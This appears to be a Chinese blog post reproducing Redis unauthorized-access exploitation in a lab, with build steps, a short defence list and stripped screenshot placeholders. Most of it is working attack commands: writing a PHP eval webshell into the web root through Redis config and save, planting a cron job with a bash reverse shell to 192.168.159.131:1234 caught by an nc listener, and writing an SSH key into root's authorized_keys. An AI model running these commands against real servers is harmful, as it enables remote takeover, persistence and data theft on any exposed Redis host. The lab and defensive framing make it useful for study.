Redis未授权访问复现与利用

漏洞简介

Redis默认情况下会绑定在0.0.0.0:6379,这样会将Redis服务器暴露再公网上,如果在没有开启认证(免密登录)的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis数据。配合上传公钥,可以直接远程SSH登录服务器。

影响版本

redis 2.x ,3.x ,4.x ,5.x

漏洞危害

1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
2、攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
3、 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

实验环境

Redis服务端:192.168.159.129
Redis客户端:192.168.159.133

redis 服务端

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
make install
redis-server 启动服务
查看服务
在这里插入图片描述

redis客户端

扫描二维码关注公众号,回复: 9657501 查看本文章

在这里插入图片描述

一、利用Redis写webshell
前提条件

1、Redis未授权,客户端可连接
2、开启web服务,知道绝对路径

config set dir /var/www/html 设置备份路径
set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n" 写入wehbshell
config set dbfilename webshell.php 更改文件名为webshell.php
save 保存
在这里插入图片描述

蚁剑连接

在这里插入图片描述

二、利用crontab反弹shell
开启监听 nc -lvnp 1234
写入任务计划,反弹shell

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.159.131/1234 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

在这里插入图片描述

三、写入SSH公钥,获得OS权限
生成公钥文件

在这里插入图片描述

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt 将公钥保存在key.txt中
连接靶机,将公钥写入

在这里插入图片描述

CONFIG GET dir 得到redis备份路径
config set dir /root/.ssh更改备份路径为ssh公钥存放路径(root/.ssh)
CONFIG SET dbfilename authorized_keys 设置上传备份公钥文件为authorized_keys
CONFIG GET dbfilename 查看是否修改成功,保存,退出

在这里插入图片描述

公钥连接登录

在这里插入图片描述
在这里插入图片描述

防御方法

1、Redis添加密码认证
2、禁止外网访问Redis(bind 127.0.0.1)
3、修改默认端口6379
4、阻止拥护添加新的公钥,authorized_keys文件400权限,锁定该文件
5、设置防火墙策略

发布了40 篇原创文章 · 获赞 42 · 访问量 3596

猜你喜欢

转载自blog.csdn.net/per_se_veran_ce/article/details/102779056